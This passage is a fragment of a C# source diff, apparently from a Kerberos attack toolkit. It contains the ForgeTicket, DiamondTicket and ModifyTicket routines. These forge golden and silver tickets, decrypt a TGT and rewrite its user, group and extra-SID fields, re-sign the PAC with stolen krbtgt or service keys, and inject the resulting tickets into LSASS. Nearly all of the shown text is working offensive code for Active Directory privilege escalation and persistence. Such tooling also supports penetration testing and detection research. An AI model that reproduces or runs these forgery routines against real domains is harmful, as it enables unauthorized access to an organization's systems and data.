renewTill); + if (check != null) + { + decTicketPart.renew_till = (DateTime)check; + } + } + + if (decTicketPart.authorization_data == null) + { + decTicketPart.authorization_data = new List(); + } + + // generate blank PAC for TicketChecksum for service tickets + SignatureData ticketSigData = null; + if (!(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) + { + ticketSigData = new SignatureData(PacInfoBufferType.TicketChecksum); + ticketSigData.SignatureType = kdcSigData.SignatureType; + ADIfRelevant ifrelevant = new ADIfRelevant(); + ADWin2KPac win2KPac = new ADWin2KPac(); + win2KPac.Pac = null; + win2KPac.ad_data = new byte[] { 0x00 }; + decTicketPart.authorization_data.Add(new ADIfRelevant(win2KPac)); + } + + // set extra AuthorizationData sections + if (includeAuthData) + { + ADIfRelevant ifrelevant = new ADIfRelevant(); + ADRestrictionEntry restrictions = new ADRestrictionEntry(); + ADKerbLocal kerbLocal = new ADKerbLocal(); + ifrelevant.ADData.Add(restrictions); + ifrelevant.ADData.Add(kerbLocal); + decTicketPart.authorization_data.Add(ifrelevant); + } + + // now we have the extra auth data sections, calculate TicketChecksum + if (!(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) + { + ticketSigData.Signature = decTicketPart.CalculateTicketChecksum(krbKey, kdcSigData.SignatureType); + } + + Attributes attrib = null; + Requestor requestor = null; + if (newPac) + { + attrib = new Attributes(); + requestor = new Requestor(String.Format("{0}-{1}", li.KerbValidationInfo.LogonDomainId?.GetValue(), li.KerbValidationInfo.UserId)); + } + + // clear signatures + Console.WriteLine("[*] Signing PAC"); + svrSigData.Signature = new byte[svrSigLength]; + kdcSigData.Signature = new byte[kdcSigLength]; + Array.Clear(svrSigData.Signature, 0, svrSigLength); + Array.Clear(kdcSigData.Signature, 0, kdcSigLength); if (!noFullPacSig && !(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) { fullPacSigData.Signature = new byte[fullPacSigLength]; @@ -895,27 +567,27 @@ public static void ForgeTicket( } // add sections to the PAC, get bytes and generate checksums - List PacInfoBuffers = new List(); - if (s4u != null) - { - PacInfoBuffers.Add(s4u); - } - PacInfoBuffers.Add(li); - PacInfoBuffers.Add(cn); - PacInfoBuffers.Add(upnDns); - if (newPac) - { - PacInfoBuffers.Add(attrib); - PacInfoBuffers.Add(requestor); - } - PacInfoBuffers.Add(svrSigData); - PacInfoBuffers.Add(kdcSigData); - if (ticketSigData != null) - { - PacInfoBuffers.Add(ticketSigData); - } - - // Get FullPacSig and insert + List PacInfoBuffers = new List(); + if (s4u != null) + { + PacInfoBuffers.Add(s4u); + } + PacInfoBuffers.Add(li); + PacInfoBuffers.Add(cn); + PacInfoBuffers.Add(upnDns); + if (newPac) + { + PacInfoBuffers.Add(attrib); + PacInfoBuffers.Add(requestor); + } + PacInfoBuffers.Add(svrSigData); + PacInfoBuffers.Add(kdcSigData); + if (ticketSigData != null) + { + PacInfoBuffers.Add(ticketSigData); + } + + // Get FullPacSig and insert if (!noFullPacSig && !(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) { var newPacInfoBuffers = new List(PacInfoBuffers); @@ -926,51 +598,51 @@ public static void ForgeTicket( fullPacSigData.Signature = fullPacSig; PacInfoBuffers.Add(fullPacSigData); } - PACTYPE pt = new PACTYPE(0, PacInfoBuffers); - byte[] ptBytes = pt.Encode(); - - byte[] svrSig = Crypto.KerberosChecksum(serviceKey, ptBytes, svrSigData.SignatureType); - byte[] kdcSig = Crypto.KerberosChecksum(krbKey, svrSig, kdcSigData.SignatureType); - - // add checksums - svrSigData.Signature = svrSig; - kdcSigData.Signature = kdcSig; - PacInfoBuffers = new List(); - if (s4u != null) - { - PacInfoBuffers.Add(s4u); - } - PacInfoBuffers.Add(li); - PacInfoBuffers.Add(cn); - PacInfoBuffers.Add(upnDns); - if (newPac) - { - PacInfoBuffers.Add(attrib); - PacInfoBuffers.Add(requestor); - } - PacInfoBuffers.Add(svrSigData); - PacInfoBuffers.Add(kdcSigData); - if (ticketSigData != null) - { - PacInfoBuffers.Add(ticketSigData); - } + PACTYPE pt = new PACTYPE(0, PacInfoBuffers); + byte[] ptBytes = pt.Encode(); + + byte[] svrSig = Crypto.KerberosChecksum(serviceKey, ptBytes, svrSigData.SignatureType); + byte[] kdcSig = Crypto.KerberosChecksum(krbKey, svrSig, kdcSigData.SignatureType); + + // add checksums + svrSigData.Signature = svrSig; + kdcSigData.Signature = kdcSig; + PacInfoBuffers = new List(); + if (s4u != null) + { + PacInfoBuffers.Add(s4u); + } + PacInfoBuffers.Add(li); + PacInfoBuffers.Add(cn); + PacInfoBuffers.Add(upnDns); + if (newPac) + { + PacInfoBuffers.Add(attrib); + PacInfoBuffers.Add(requestor); + } + PacInfoBuffers.Add(svrSigData); + PacInfoBuffers.Add(kdcSigData); + if (ticketSigData != null) + { + PacInfoBuffers.Add(ticketSigData); + } if (!noFullPacSig && !(parts[0].Equals("krbtgt") && parts[1].Equals(domain))) { PacInfoBuffers.Add(fullPacSigData); - } - pt = new PACTYPE(0, PacInfoBuffers); - - // add the PAC to the ticket - decTicketPart.SetPac(pt); - - - // encrypt the EncTicketPart - Console.WriteLine("[*] Encrypting EncTicketPart"); - byte[] encTicketData = decTicketPart.Encode().Encode(); - byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, encTicketData); - - // initialize the ticket and add the enc_part - Console.WriteLine("[*] Generating Ticket"); + } + pt = new PACTYPE(0, PacInfoBuffers); + + // add the PAC to the ticket + decTicketPart.SetPac(pt); + + + // encrypt the EncTicketPart + Console.WriteLine("[*] Encrypting EncTicketPart"); + byte[] encTicketData = decTicketPart.Encode().Encode(); + byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, serviceKey, encTicketData); + + // initialize the ticket and add the enc_part + Console.WriteLine("[*] Generating Ticket"); Ticket ticket = new Ticket(domain.ToUpperInvariant(), sname); // when performing keylist attack the kvnum is shifted left 16 bits if (rodcNumber == 0) @@ -980,568 +652,944 @@ public static void ForgeTicket( else { ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, (uint)rodcNumber << 16); - } - // add the ticket - cred.tickets.Add(ticket); - - // [0] add in the session key - info.key.keytype = (int)etype; - info.key.keyvalue = randKeyBytes; - - // [1] prealm (domain) - info.prealm = ticket.realm; - - // [2] pname (user) - info.pname.name_type = decTicketPart.cname.name_type; - info.pname.name_string = decTicketPart.cname.name_string; - - // [3] flags - info.flags = flags; - - // [4] authtime (not required) - info.authtime = decTicketPart.authtime; - - // [5] starttime - info.starttime = decTicketPart.starttime; - - // [6] endtime - info.endtime = decTicketPart.endtime; - - // [7] renew-till - info.renew_till = decTicketPart.renew_till; - - // [8] srealm - info.srealm = ticket.realm; - - // [9] sname - info.sname.name_type = ticket.sname.name_type; - info.sname.name_string = ticket.sname.name_string; - - // add the ticket_info into the cred object - cred.enc_part.ticket_info.Add(info); - - Console.WriteLine("[*] Generated KERB-CRED"); - - - - byte[] kirbiBytes = cred.Encode().Encode(); - - string kirbiString = Convert.ToBase64String(kirbiBytes); - - if (parts[0] == "krbtgt") - { - Console.WriteLine("[*] Forged a TGT for '{0}@{1}'", info.pname.name_string[0], domain); - } - else - { - Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname); - } - Console.WriteLine(""); - - // dates unique to this ticket - Console.WriteLine("[*] AuthTime : {0}", decTicketPart.authtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); - Console.WriteLine("[*] StartTime : {0}", decTicketPart.starttime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); - Console.WriteLine("[*] EndTime : {0}", decTicketPart.endtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); - Console.WriteLine("[*] RenewTill : {0}", decTicketPart.renew_till.ToLocalTime().ToString(CultureInfo.CurrentCulture)); - - Console.WriteLine(""); - - Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); - - if (Program.wrapTickets) - { - // display the .kirbi base64, columns of 80 chararacters - foreach (string line in Helpers.Split(kirbiString, 80)) - { - Console.WriteLine(" {0}", line); - } - } - else - { - Console.WriteLine(" {0}", kirbiString); - } - - Console.WriteLine(""); - - if (!String.IsNullOrEmpty(outfile)) - { - DateTime fileTime = (DateTime)startTime; - string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{fileTime.ToString("yyyy_MM_dd_HH_mm_ss")}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; - filename = Helpers.MakeValidFileName(filename); - if (Helpers.WriteBytesToFile(filename, kirbiBytes)) - { - Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); - } - } - - Console.WriteLine(""); - - if (ptt) - { - // pass-the-ticket -> import into LSASS - LSA.ImportTicket(kirbiBytes, new LUID()); - } - - // increase startTime by rangeInterval - startTime = Helpers.FutureDate((DateTime)startTime, rangeInterval); - if (startTime == null) - { - Console.WriteLine("[!] Invalid /rangeinterval passed, skipping multiple ticket generation: {0}", rangeInterval); - startTime = rangeEnd; - } - authTime = startTime; - - } while (startTime < rangeEnd); - - if (printcmd) - { - // print command to be able to recreate a ticket with this information - string cmdOut = String.Format("{0}", System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName); - - // deal with differences between golden and silver - if (parts[0].Equals("krbtgt") && parts[1].Equals(domain)) - { - cmdOut = String.Format("{0} golden", cmdOut, Helpers.ByteArrayToString(serviceKey)); - } - else - { - string krbEncType = ""; - if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)) - { - krbEncType = "rc4"; - } - else if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) - { - krbEncType = "aes128"; - } - else if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256)) - { - krbEncType = "aes256"; - } - cmdOut = String.Format("{0} silver /service:{1} /krbkey:{2} /kebenctype:{3}", cmdOut, sname, Helpers.ByteArrayToString(krbKey), krbEncType); - } - - // add the service key - string svrEncType = ""; - if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)) - { - svrEncType = "rc4"; - } - else if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) - { - svrEncType = "aes128"; - } - else if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256)) - { - svrEncType = "aes256"; - } - cmdOut = String.Format("{0} /{1}:{2}", cmdOut, svrEncType, Helpers.ByteArrayToString(serviceKey)); - - // add the rest of the values - cmdOut = String.Format("{0} /user:{1} /id:{2} /pgid:{3} /domain:{4} /sid:{5}", cmdOut, user, kvi.UserId, kvi.PrimaryGroupId, domain, kvi.LogonDomainId.GetValue()); - try - { - cmdOut = String.Format("{0} /logofftime:\"{1}\"", cmdOut, DateTime.FromFileTimeUtc((long)kvi.LogoffTime.LowDateTime | ((long)kvi.LogoffTime.HighDateTime << 32)).ToLocalTime()); - } - catch { } - try - { - cmdOut = String.Format("{0} /pwdlastset:\"{1}\"", cmdOut, DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)).ToLocalTime()); - } - catch { } - if (minPassAge != null && minPassAge > 0) - { - cmdOut = String.Format("{0} /minpassage:{1}", cmdOut, minPassAge); - } - if (maxPassAge != null && maxPassAge > 0) - { - cmdOut = String.Format("{0} /maxpassage:{1}", cmdOut, maxPassAge); - } - if (kvi.BadPasswordCount > 0) - { - cmdOut = String.Format("{0} /badpwdcount:{1}", cmdOut, kvi.BadPasswordCount); - } - if (kvi.LogonCount > 0) - { - cmdOut = String.Format("{0} /logoncount:{1}", cmdOut, kvi.LogonCount); - } - if (!String.IsNullOrEmpty(kvi.FullName.ToString())) - { - cmdOut = String.Format("{0} /displayname:\"{1}\"", cmdOut, kvi.FullName.ToString()); - } - if (!String.IsNullOrEmpty(kvi.LogonScript.ToString())) - { - cmdOut = String.Format("{0} /scriptpath:\"{1}\"", cmdOut, kvi.LogonScript.ToString()); - } - if (!String.IsNullOrEmpty(kvi.ProfilePath.ToString())) - { - cmdOut = String.Format("{0} /profilepath:\"{1}\"", cmdOut, kvi.ProfilePath.ToString()); - } - if (!String.IsNullOrEmpty(kvi.HomeDirectory.ToString())) - { - cmdOut = String.Format("{0} /homedir:\"{1}\"", cmdOut, kvi.HomeDirectory.ToString()); - } - if (!String.IsNullOrEmpty(kvi.HomeDirectoryDrive.ToString())) - { - cmdOut = String.Format("{0} /homedrive:\"{1}\"", cmdOut, kvi.HomeDirectoryDrive.ToString()); - } - if (!String.IsNullOrEmpty(kvi.LogonDomainName.ToString())) - { - cmdOut = String.Format("{0} /netbios:{1}", cmdOut, kvi.LogonDomainName.ToString()); - } - if (kvi.GroupCount > 0) - { - cmdOut = String.Format("{0} /groups:{1}", cmdOut, kvi.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); - } - if (kvi.SidCount > 0) - { - cmdOut = String.Format("{0} /sids:{1}", cmdOut, kvi.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); - } - if (kvi.ResourceGroupCount > 0) - { - cmdOut = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", cmdOut, kvi.ResourceGroupDomainSid.GetValue().ToString(), kvi.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); - } - if (!String.IsNullOrEmpty(kvi.LogonServer.ToString())) - { - cmdOut = String.Format("{0} /dc:{1}.{2}", cmdOut, kvi.LogonServer.ToString(), domain); - } - if ((Interop.PacUserAccountControl)kvi.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT) - { - cmdOut = String.Format("{0} /uac:{1}", cmdOut, String.Format("{0}", (Interop.PacUserAccountControl)kvi.UserAccountControl).Replace(" ", "")); - } - if (!user.Equals(cName)) - { - cmdOut = String.Format("{0} /cname:{1}", cmdOut, cName); - } - if (!String.IsNullOrEmpty(s4uProxyTarget) && !String.IsNullOrEmpty(s4uTransitedServices)) - { - cmdOut = String.Format("{0} /s4uproxytarget:{1} /s4utransitiedservices:{2}", cmdOut, s4uProxyTarget, s4uTransitedServices); - } - if (includeAuthData) - { - cmdOut = String.Format("{0} /authdata", cmdOut); - } - - // print the command - Console.WriteLine("\r\n[*] Printing a command to recreate a ticket containing the information used within this ticket\r\n\r\n{0}\r\n", cmdOut); - } - } - - public static byte[] DiamondTicket(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), string krbKey = "", string ticketUser = "", string groups = "", int ticketUserId = 0, string sids = "") - { - byte[] tgtBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, luid, false, true); - - return ModifyTicket(new KRB_CRED(tgtBytes), krbKey, krbKey, outfile, ptt, luid, ticketUser, groups, ticketUserId, sids); - } - - public static byte[] DiamondTicket(string userName, string domain, string certFile, string certPass, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), string krbKey = "", string ticketUser = "", string groups = "", int ticketUserId = 0, string sids = "") - { - byte[] tgtBytes = Ask.TGT(userName, domain, certFile, certPass, etype, null, false, domainController); - - return ModifyTicket(new KRB_CRED(tgtBytes), krbKey, krbKey, outfile, ptt, luid, ticketUser, groups, ticketUserId, sids); - } - - public static byte[] ModifyTicket(KRB_CRED kirbi, string serviceKey, string krbKey = "", string outfile = "", bool ptt = false, LUID luid = new LUID(), string ticketUser = "", string groups = "", int ticketUserId = 0, string sids = "") - { - Console.WriteLine(); - if (String.IsNullOrEmpty(krbKey)) - { - krbKey = serviceKey; - } - - EncTicketPart decryptedEncTicket = null; - PACTYPE pt = null; - Ticket ticket = null; - try - { - ticket = kirbi.tickets[0]; - Console.WriteLine("[*] Decrypting TGT"); - decryptedEncTicket = ticket.Decrypt(Helpers.StringToByteArray(serviceKey), null); - Console.WriteLine("[*] Retreiving PAC"); - pt = decryptedEncTicket.GetPac(null); - } - catch - { - Console.WriteLine("[X] Unable to decrypt ticket or get PAC!"); - return null; - } - - var kvi = Ndr._KERB_VALIDATION_INFO.CreateDefault(); - ClientName cn = null; - UpnDns upnDns = null; - Attributes attrib = null; - Requestor requestor = null; - SignatureData svrSigData = null; - SignatureData kdcSigData = null; - - Console.WriteLine("[*] Modifying PAC"); - foreach (var pacInfoBuffer in pt.PacInfoBuffers) - { - if (pacInfoBuffer is LogonInfo linfo) - { - kvi = linfo.KerbValidationInfo; - - if (!String.IsNullOrEmpty(ticketUser)) - { - kvi.EffectiveName = new Ndr._RPC_UNICODE_STRING(ticketUser); - } - - if (!String.IsNullOrEmpty(groups)) - { - int groupCount = groups.Split(',').Length; - kvi.GroupCount = groupCount; - kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[groupCount]; - - int c = 0; - foreach (string gid in groups.Split(',')) - { - Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(Int32.Parse(gid), Interop.GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.GroupIds, c, 1); - c += 1; - } - } - if (ticketUserId > 0) - { - kvi.UserId = ticketUserId; - } - - if (!String.IsNullOrEmpty(sids)) - { - int numOfSids = sids.Split(',').Length; - kvi.SidCount = numOfSids; - kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[numOfSids]; - int c = 0; - foreach (string s in sids.Split(',')) - { - Array.Copy(new Ndr._KERB_SID_AND_ATTRIBUTES[] { new Ndr._KERB_SID_AND_ATTRIBUTES(new Ndr._RPC_SID(new SecurityIdentifier(s)), Interop.GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.ExtraSids, c, 1); - c += 1; - } - } - } - else if (pacInfoBuffer is ClientName temp) - { - cn = temp; - if (!String.IsNullOrEmpty(ticketUser)) - { - cn = new ClientName(cn.ClientId,ticketUser); - } - } - else if (pacInfoBuffer is UpnDns temp2) - { - upnDns = temp2; - if (!String.IsNullOrEmpty(ticketUser)) - { - string samName = null; - SecurityIdentifier sid = null; - if (upnDns.Flags.HasFlag(Interop.UpnDnsFlags.EXTENDED)) - { - samName = upnDns.SamName; - if (!string.IsNullOrWhiteSpace(ticketUser)) - { - samName = ticketUser; - } - sid = upnDns.Sid; - if (ticketUserId > 0) - { - sid = new SecurityIdentifier(String.Format("{0}-{1}", sid.Value.Substring(0, sid.Value.LastIndexOf('-')), ticketUserId)); - } - } - upnDns = new UpnDns((int)upnDns.Flags,upnDns.DnsDomainName,string.Format("{0}@{1}", ticketUser, upnDns.DnsDomainName.ToLowerInvariant()), samName, sid); - - } - } - else if (pacInfoBuffer is Attributes temp3) - { - attrib = temp3; - } - else if (pacInfoBuffer is Requestor temp4) - { - requestor = temp4; - if (ticketUserId > 0) - { - requestor = new Requestor(String.Format("{0}-{1}", requestor.RequestorSID.Value.Substring(0,requestor.RequestorSID.Value.LastIndexOf('-')), ticketUserId)); - } - } - else if (pacInfoBuffer is SignatureData sigData) - { - if (sigData.Type == PacInfoBufferType.KDCChecksum) - { - kdcSigData = sigData; - } - else if(sigData.Type == PacInfoBufferType.ServerChecksum) - { - svrSigData = sigData; - } - } - } - int svrSigLength = 12; - int kdcSigLength = 12; - if (svrSigData.SignatureType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5) - svrSigLength = 16; - if (kdcSigData.SignatureType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5) - kdcSigLength = 16; - Console.WriteLine("[*] Signing PAC"); - svrSigData.Signature = new byte[svrSigLength]; - kdcSigData.Signature = new byte[kdcSigLength]; - Array.Clear(svrSigData.Signature, 0, svrSigLength); - Array.Clear(kdcSigData.Signature, 0, kdcSigLength); - - List PacInfoBuffers = new List(); - LogonInfo li = new LogonInfo(kvi); - PacInfoBuffers.Add(li); - if (cn != null) - { - PacInfoBuffers.Add(cn); - } - if (upnDns != null) - { - PacInfoBuffers.Add(upnDns); - } - if (attrib != null) - { - PacInfoBuffers.Add(attrib); - } - if (requestor != null) - { - PacInfoBuffers.Add(requestor); - } - PacInfoBuffers.Add(svrSigData); - PacInfoBuffers.Add(kdcSigData); - PACTYPE newPT = new PACTYPE(0, PacInfoBuffers); - byte[] ptBytes = newPT.Encode(); - byte[] svrSig = Crypto.KerberosChecksum(Helpers.StringToByteArray(serviceKey), ptBytes, svrSigData.SignatureType); - byte[] kdcSig = Crypto.KerberosChecksum(Helpers.StringToByteArray(krbKey), svrSig, kdcSigData.SignatureType); - svrSigData.Signature = svrSig; - kdcSigData.Signature = kdcSig; - PacInfoBuffers = new List(); - PacInfoBuffers.Add(li); - if (cn != null) - { - PacInfoBuffers.Add(cn); - } - if (upnDns != null) - { - PacInfoBuffers.Add(upnDns); - } - if (attrib != null) - { - PacInfoBuffers.Add(attrib); - } - if (requestor != null) - { - PacInfoBuffers.Add(requestor); - } - PacInfoBuffers.Add(svrSigData); - PacInfoBuffers.Add(kdcSigData); - newPT = new PACTYPE(0, PacInfoBuffers); - - if (!string.IsNullOrEmpty(ticketUser)) - { - decryptedEncTicket.cname = new PrincipalName(ticketUser); - kirbi.enc_part.ticket_info[0].pname = new PrincipalName(ticketUser); - } - - decryptedEncTicket.SetPac(newPT); - Console.WriteLine("[*] Encrypting Modified TGT"); - byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, Helpers.StringToByteArray(serviceKey), decryptedEncTicket.Encode().Encode()); - EncryptedData enc_part = new EncryptedData(ticket.enc_part.etype, encTicketPart, 3); - ticket.enc_part = enc_part; - kirbi.tickets[0] = ticket; - - byte[] kirbiBytes = kirbi.Encode().Encode(); - - string kirbiString = Convert.ToBase64String(kirbiBytes); - - Console.WriteLine(""); - - Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); - - if (Program.wrapTickets) - { - // display the .kirbi base64, columns of 80 chararacters - foreach (string line in Helpers.Split(kirbiString, 80)) - { - Console.WriteLine(" {0}", line); - } - } - else - { - Console.WriteLine(" {0}", kirbiString); - } - - Console.WriteLine(""); - - if (!String.IsNullOrEmpty(outfile)) - { - KrbCredInfo info = kirbi.enc_part.ticket_info[0]; - DateTime fileTime = (DateTime)info.starttime; - string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{fileTime.ToString("yyyy_MM_dd_HH_mm_ss")}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; - filename = Helpers.MakeValidFileName(filename); - if (Helpers.WriteBytesToFile(filename, kirbiBytes)) - { - Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); - } - } - - Console.WriteLine(""); - - if (ptt || ((ulong)luid != 0)) - { - // pass-the-ticket -> import into LSASS - LSA.ImportTicket(kirbiBytes, luid); - } - - return kirbiBytes; - } - - public static void ModifyKirbi(KRB_CRED kirbi, byte[] sessionKey = null, Interop.KERB_ETYPE sessionKeyEtype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1, bool ptt = false, LUID luid = new LUID(), string outfile = "") + } + // add the ticket + cred.tickets.Add(ticket); + + // [0] add in the session key + info.key.keytype = (int)etype; + info.key.keyvalue = randKeyBytes; + + // [1] prealm (domain) + info.prealm = ticket.realm; + + // [2] pname (user) + info.pname.name_type = decTicketPart.cname.name_type; + info.pname.name_string = decTicketPart.cname.name_string; + + // [3] flags + info.flags = flags; + + // [4] authtime (not required) + info.authtime = decTicketPart.authtime; + + // [5] starttime + info.starttime = decTicketPart.starttime; + + // [6] endtime + info.endtime = decTicketPart.endtime; + + // [7] renew-till + info.renew_till = decTicketPart.renew_till; + + // [8] srealm + info.srealm = ticket.realm; + + // [9] sname + info.sname.name_type = ticket.sname.name_type; + info.sname.name_string = ticket.sname.name_string; + + // add the ticket_info into the cred object + cred.enc_part.ticket_info.Add(info); + + Console.WriteLine("[*] Generated KERB-CRED"); + + + + byte[] kirbiBytes = cred.Encode().Encode(); + + string kirbiString = Convert.ToBase64String(kirbiBytes); + + if (parts[0] == "krbtgt") + { + Console.WriteLine("[*] Forged a TGT for '{0}@{1}'", info.pname.name_string[0], domain); + } + else + { + Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname); + } + Console.WriteLine(""); + + // dates unique to this ticket + Console.WriteLine("[*] AuthTime : {0}", decTicketPart.authtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("[*] StartTime : {0}", decTicketPart.starttime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("[*] EndTime : {0}", decTicketPart.endtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("[*] RenewTill : {0}", decTicketPart.renew_till.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + + Console.WriteLine(""); + + Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); + + if (Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } + } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + Console.WriteLine(""); + + if (!String.IsNullOrEmpty(outfile)) + { + DateTime fileTime = (DateTime)startTime; + string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{fileTime.ToString("yyyy_MM_dd_HH_mm_ss")}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; + filename = Helpers.MakeValidFileName(filename); + if (Helpers.WriteBytesToFile(filename, kirbiBytes)) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); + } + } + + Console.WriteLine(""); + + if (ptt) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, new LUID()); + } + + // increase startTime by rangeInterval + startTime = Helpers.FutureDate((DateTime)startTime, rangeInterval); + if (startTime == null) + { + Console.WriteLine("[!] Invalid /rangeinterval passed, skipping multiple ticket generation: {0}", rangeInterval); + startTime = rangeEnd; + } + authTime = startTime; + + } while (startTime < rangeEnd); + + if (printcmd) + { + // print command to be able to recreate a ticket with this information + string cmdOut = String.Format("{0}", System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName); + + // deal with differences between golden and silver + if (parts[0].Equals("krbtgt") && parts[1].Equals(domain)) + { + cmdOut = String.Format("{0} golden", cmdOut, Helpers.ByteArrayToString(serviceKey)); + } + else + { + string krbEncType = ""; + if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)) + { + krbEncType = "rc4"; + } + else if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) + { + krbEncType = "aes128"; + } + else if (kdcSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256)) + { + krbEncType = "aes256"; + } + cmdOut = String.Format("{0} silver /service:{1} /krbkey:{2} /kebenctype:{3}", cmdOut, sname, Helpers.ByteArrayToString(krbKey), krbEncType); + } + + // add the service key + string svrEncType = ""; + if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5)) + { + svrEncType = "rc4"; + } + else if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128)) + { + svrEncType = "aes128"; + } + else if (svrSigData.SignatureType.Equals(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256)) + { + svrEncType = "aes256"; + } + cmdOut = String.Format("{0} /{1}:{2}", cmdOut, svrEncType, Helpers.ByteArrayToString(serviceKey)); + + // add the rest of the values + cmdOut = String.Format("{0} /user:{1} /id:{2} /pgid:{3} /domain:{4} /sid:{5}", cmdOut, user, kvi.UserId, kvi.PrimaryGroupId, domain, kvi.LogonDomainId.GetValue()); + try + { + cmdOut = String.Format("{0} /logofftime:\"{1}\"", cmdOut, DateTime.FromFileTimeUtc((long)kvi.LogoffTime.LowDateTime | ((long)kvi.LogoffTime.HighDateTime << 32)).ToLocalTime()); + } + catch { } + try + { + cmdOut = String.Format("{0} /pwdlastset:\"{1}\"", cmdOut, DateTime.FromFileTimeUtc((long)kvi.PasswordLastSet.LowDateTime | ((long)kvi.PasswordLastSet.HighDateTime << 32)).ToLocalTime()); + } + catch { } + if (minPassAge != null && minPassAge > 0) + { + cmdOut = String.Format("{0} /minpassage:{1}", cmdOut, minPassAge); + } + if (maxPassAge != null && maxPassAge > 0) + { + cmdOut = String.Format("{0} /maxpassage:{1}", cmdOut, maxPassAge); + } + if (kvi.BadPasswordCount > 0) + { + cmdOut = String.Format("{0} /badpwdcount:{1}", cmdOut, kvi.BadPasswordCount); + } + if (kvi.LogonCount > 0) + { + cmdOut = String.Format("{0} /logoncount:{1}", cmdOut, kvi.LogonCount); + } + if (!String.IsNullOrEmpty(kvi.FullName.ToString())) + { + cmdOut = String.Format("{0} /displayname:\"{1}\"", cmdOut, kvi.FullName.ToString()); + } + if 